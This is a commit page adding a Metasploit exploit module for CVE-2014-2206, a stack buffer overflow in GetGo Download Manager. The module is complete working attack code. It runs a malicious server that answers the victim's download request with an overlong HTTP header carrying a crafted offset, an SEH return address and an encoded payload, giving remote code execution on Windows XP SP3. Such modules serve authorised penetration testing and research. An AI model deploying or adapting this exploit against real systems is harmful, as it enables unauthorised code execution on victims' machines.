Skip to content

Commit da0fce1

Browse files
committed
Add module for CVE-2014-2206
1 parent ac4eb3b commit da0fce1

File tree

1 file changed

+79
-0
lines changed

1 file changed

+79
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::Seh
12+
include Msf::Exploit::Remote::TcpServer
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits a stack-based buffer overflow vulnerability in
19+
GetGo Download Manager version 4.9.0.1982 and earlier, caused by an
20+
overly long HTTP response header.
21+
By persuading the victim to download a file from a malicious server, a
22+
remote attacker could execute arbitrary code on the system or cause
23+
the application to crash. This module has been tested successfully on
24+
Windows XP SP3.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Julien Ahrens', # Vulnerability discovery
30+
'Gabor Seljan' # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'EDB', '32132' ],
35+
[ 'OSVDB', '103910' ],
36+
[ 'CVE', '2014-2206' ],
37+
],
38+
'DefaultOptions' =>
39+
{
40+
'ExitFunction' => 'process'
41+
},
42+
'Platform' => 'win',
43+
'Payload' =>
44+
{
45+
'BadChars' => "\x00\x0a\x0d",
46+
'Space' => 2000
47+
},
48+
'Targets' =>
49+
[
50+
[ 'Windows XP SP3',
51+
{
52+
'Offset' => 4107,
53+
'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30]
54+
}
55+
]
56+
],
57+
'Privileged' => false,
58+
'DisclosureDate' => 'Mar 09 2014',
59+
'DefaultTarget' => 0))
60+
end
61+
62+
def on_client_connect(client)
63+
64+
sploit = "HTTP/1.1 200 "
65+
sploit << rand_text_alpha(target['Offset'])
66+
sploit << "\x90\x90\xEB\x06"
67+
sploit << [target.ret].pack('V')
68+
sploit << payload.encoded
69+
70+
print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
71+
client.put(sploit)
72+
73+
sleep(3)
74+
handler(client)
75+
service.close_client(client)
76+
77+
end
78+
79+
end

0 commit comments

Comments
 (0)